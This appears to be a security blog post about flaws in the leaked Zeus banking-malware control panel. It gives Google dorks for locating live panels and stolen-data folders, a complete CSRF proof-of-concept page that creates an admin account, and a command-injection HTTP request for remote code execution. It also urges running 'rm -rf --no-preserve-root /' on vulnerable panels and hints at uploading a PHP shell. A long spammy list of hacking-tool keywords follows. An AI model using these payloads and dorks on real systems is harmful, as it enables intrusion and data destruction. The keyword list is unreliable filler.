Friday, May 26, 2023

Attacking Financial Malware Botnet Panels - Zeus

I played with leaked financial malware recently. When I saw these panels are written in PHP, my first idea was to hack them. The results are the work of one evening, please don't expect a full pentest report with all vulns found :-)

The following report is based on Zeus 2.0.8.9, which is old, but I believe a lot of Zeus clones (and C&C panels) depend on this code.

First things first, here are some Google dorks to find Zeus C&C server panel related stuff:
  • inurl:cp.php?m=login - this should be the login to the control panel
  • inurl:_reports/files  - in these folders you can find the stolen stuff, pretty funny if it gets indexed by Google
  • inurl:install/index.php - this should be deleted, but I think this is useless now.


Boring vulns found

Update: You can use the CSRF to create a new user with admin privileges:
<html> <head>     <title></title> </head> <body>     <pre>   This is a CSRF POC to create a new admin user in Zeus admin panels.   Username: user_1392719246 Password: admin1   You might change the URL from 127.0.0.1.   Redirecting in a hidden iframe in <span id="countdown">10</span> seconds.   </pre> <iframe id="csrf-frame" name="csrf-frame" style="display: none;"></iframe>     <form action="http://127.0.0.1/cp.php?m=sys_users&amp;new" id="csrf-form" method="post" name="csrf-form" target="csrf-frame">  <input name="name" type="hidden" value="user_1392719246" />   <input name="password" type="hidden" value="admin1" />   <input name="status" type="hidden" value="1" />   <input name="comment" type="hidden" value="PWND!" />  <input name="r_botnet_bots" type="hidden" value="1" />   <input name="r_botnet_scripts" type="hidden" value="1" />   <input name="r_botnet_scripts_edit" type="hidden" value="1" />   <input name="r_edit_bots" type="hidden" value="1" />   <input name="r_reports_db" type="hidden" value="1" />   <input name="r_reports_db_edit" type="hidden" value="1" />   <input name="r_reports_files" type="hidden" value="1" />  <input name="r_reports_files_edit" type="hidden" value="1" />  <input name="r_reports_jn" type="hidden" value="1" />   <input name="r_stats_main" type="hidden" value="1" />   <input name="r_stats_main_reset" type="hidden" value="1" />   <input name="r_stats_os" type="hidden" value="1" />   <input name="r_system_info" type="hidden" value="1" />   <input name="r_system_options" type="hidden" value="1" />  <input name="r_system_user" type="hidden" value="1" />   <input name="r_system_users" type="hidden" value="1" />     </form> <script type="text/javascript">  window.onload=function(){    var counter = 10;   var interval = setInterval(function() {    counter--;    document.getElementById('countdown').innerHTML = counter;    if (counter == 0) {     redirect();     clearInterval(interval);    }   }, 1000);  };     function redirect() {   document.getElementById("csrf-form").submit();     }     </script> </body> </html> 
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5.
  • ClickJacking - really boring stuff
  • Remember me (MD5 cookies) - a very bad idea. In this case, the remember me function is implemented in a way where the MD5 of the password and MD5 of the username is stored in a cookie. If I have XSS, I could get the MD5(password) as well.
  • SQLi - although concatenation is used instead of parameterized queries, and addslashes are used, the integers are always quoted. This means it can be hacked only in case of special encoding like GB/Big5, pretty unlikely.

Whats good news (for the C&C panel owners)


The following stuff looks good, at least some vulns were taken seriously:
  • The system directory is protected with .htaccess deny from all.
  • gate.php - this is the "gate" between the bots and the server, this PHP is always exposed to the Internet. The execution of this PHP dies early if you don't know the key. But you can get the key from the binary of this specific botnet (another URL how to do this). If you have the key, then you can fill the database with garbage, but that's all I can think of now.
  • Anti XSS: the following code is used almost everywhere
  • return htmlspecialchars(preg_replace('|[\x00-\x09\x0B\x0C\x0E-\x1F\x7F-\x9F]|u', ' ', $string), ENT_QUOTES, 'UTF-8');
    My evil thought was to inject malicious bot_id, but it looks like it has been filtered everywhere. Sad panda.

What's really bad news (for the C&C panel owners)


And the best vuln I was able to find, remote code execution through command injection (happy panda), but only for authenticated users (sad panda).

The vulnerable code is in system/fsarc.php:

function fsarcCreate($archive, $files){    ...    $archive .= '.zip';    $cli = 'zip -r -9 -q -S "'.$archive.'" "'.implode('" "', $files).'"';    exec($cli, $e, $r); }

The exploit could not be simpler:
POST /cp.php?m=reports_files&path= HTTP/1.1 ... Content-Type: application/x-www-form-urlencoded Content-Length: 60  filesaction=1&files%5B%5D=files"||ping%20-n%2010%20127.0.0.1 
because the zip utility was not found on my Windows box. You can try to replace || with && when attacking Windows (don't forget to URL encode it!), or replace || with ; when attacking Linux. You can also link this vulnerability with the CSRF one, but it is unlikely you know both the control panel admin, and the control panel URLs. Or if this is the case, the admin should practice better OPSEC :)
Recommendation: use escapeshellcmd next time.

Next time you find a vulnerable control panel with a weak password, just rm -rf --no-preserve-root / it ;-)

That's all folks!
Special greetz to Richard (XAMPP Apache service is running as SYSTEM ;-) )

Update: Looks like the gate.php is worth to investigate if you know the RC4 key. You can upload a PHP shell :)
Related articles

  1. How To Install Pentest Tools In Ubuntu
  2. What Are Hacking Tools
  3. Physical Pentest Tools
  4. Hacker Tools Linux
  5. Pentest Tools Framework
  6. Hacking Tools For Windows Free Download
  7. Hack Tools For Ubuntu
  8. Ethical Hacker Tools
  9. Pentest Tools Windows
  10. Hacker Tools Online
  11. Hacker Tools 2019
  12. Hak5 Tools
  13. Hacking Tools For Beginners
  14. Pentest Tools Apk
  15. Hacker
  16. Pentest Tools Website
  17. Underground Hacker Sites
  18. Pentest Tools Framework
  19. Underground Hacker Sites
  20. Hacking Apps
  21. Hacking Tools 2019
  22. Hacker Techniques Tools And Incident Handling
  23. Computer Hacker
  24. Hacker Tools Linux
  25. Termux Hacking Tools 2019
  26. Pentest Tools List
  27. What Is Hacking Tools
  28. Hacking Tools Kit
  29. Hacker
  30. Hacker Tools Apk
  31. Hack Tools For Pc
  32. Pentest Tools Online
  33. Hak5 Tools
  34. Hacking Tools Github
  35. Hacker Tools For Windows
  36. Best Hacking Tools 2020
  37. World No 1 Hacker Software
  38. Hacker Tools For Mac
  39. Hacker Tools 2020
  40. Pentest Tools Android
  41. Tools Used For Hacking
  42. Hacking Tools Usb
  43. Wifi Hacker Tools For Windows
  44. Hacker Tools Hardware
  45. Hacker Tools Free
  46. Pentest Tools Android
  47. Hacker Tools
  48. Hack Tools For Ubuntu
  49. Hacker Tools 2019
  50. Hack Website Online Tool
  51. Tools For Hacker
  52. Pentest Tools Website Vulnerability
  53. Hacking Tools For Beginners
  54. Hacking Tools And Software
  55. Hacker Hardware Tools
  56. Hacking App
  57. Hacker Tools Linux
  58. Pentest Tools Port Scanner
  59. Pentest Tools Review
  60. Hacker
  61. Hacking Tools Hardware
  62. Hack Tools Download
  63. Blackhat Hacker Tools
  64. Hacking Tools Pc
  65. Hacking Tools
  66. Pentest Tools Bluekeep
  67. Pentest Tools Tcp Port Scanner
  68. Hacking Tools Software
  69. Computer Hacker
  70. New Hacker Tools
  71. Hacks And Tools
  72. Hack Tool Apk
  73. Hacker Tools Free
  74. Hacker Tools Apk Download
  75. Hacker Tools For Windows
  76. World No 1 Hacker Software
  77. Hack Tools
  78. Hacker Tools 2019
  79. Hacking App
  80. Hacker Tools Free Download
  81. Hack Tools Pc
  82. Pentest Tools Website
  83. Hacker Tools For Ios
  84. Pentest Tools Linux
  85. Underground Hacker Sites
  86. Hacking Tools Free Download
  87. Pentest Tools For Windows
  88. Hacking Tools
  89. Hack Tools Github
  90. Hacking Tools Windows
  91. Hack Tools Download
  92. Hack And Tools
  93. Hacking Tools Download
  94. Pentest Tools Android
  95. Hacking Tools For Windows Free Download
  96. Computer Hacker
  97. Hack Tools Download
  98. Hacking Tools Online
  99. Hack Tools For Games
  100. Hacking Tools Name
  101. What Is Hacking Tools
  102. Hacker Search Tools
  103. Hacking Tools For Windows Free Download
  104. Tools For Hacker
  105. Hacking Tools Download
  106. Hacker Tools For Mac
  107. Hack App
  108. Pentest Tools Open Source
  109. Hacking Tools 2019
  110. Underground Hacker Sites
  111. Bluetooth Hacking Tools Kali
  112. Usb Pentest Tools
  113. Hacker Tools Free
  114. Pentest Tools Apk
  115. Pentest Tools Nmap
  116. Pentest Tools Online
  117. Hack Tools
  118. Hackrf Tools
  119. How To Hack
  120. Hacker Tools Mac
  121. Hack Tools
  122. Pentest Tools List
  123. Best Hacking Tools 2020
  124. Black Hat Hacker Tools
  125. Blackhat Hacker Tools
  126. Hacking Tools Mac
  127. Hacker Tools Apk
  128. Hackers Toolbox
  129. Beginner Hacker Tools
  130. Computer Hacker
  131. Hack App
  132. Github Hacking Tools
  133. Nsa Hack Tools Download
  134. Hacking Tools Hardware
  135. Pentest Automation Tools
  136. Hacking Tools Kit
  137. Hacking App
  138. Hacker Tools Mac
  139. Pentest Tools Open Source
  140. Termux Hacking Tools 2019
  141. Hacker Tools Linux
  142. Hackrf Tools
  143. Pentest Tools For Ubuntu
  144. Hack Tools
  145. Hack Tools Mac
  146. Hack Tools Pc
  147. Hacking Tools Hardware
  148. Hacks And Tools
  149. Pentest Tools Download
  150. Hacker Tools Software
  151. Hacking Tools Windows 10
  152. Hack App
  153. Pentest Tools Website
  154. Hacker Tools
  155. Hack Rom Tools
  156. Hacker Tools For Mac
  157. Hacker Tools Windows
  158. Android Hack Tools Github
  159. Hacker Search Tools
  160. Pentest Tools Free
  161. Best Hacking Tools 2020
  162. Hackers Toolbox
  163. How To Hack
  164. Pentest Tools For Mac
  165. Hacking Apps
  166. Beginner Hacker Tools
  167. Hacking Tools Online
  168. Easy Hack Tools
  169. Android Hack Tools Github
  170. Top Pentest Tools
  171. Hacker Tools Online
  172. Hacking Tools Usb
  173. Hacking App

No comments:

Post a Comment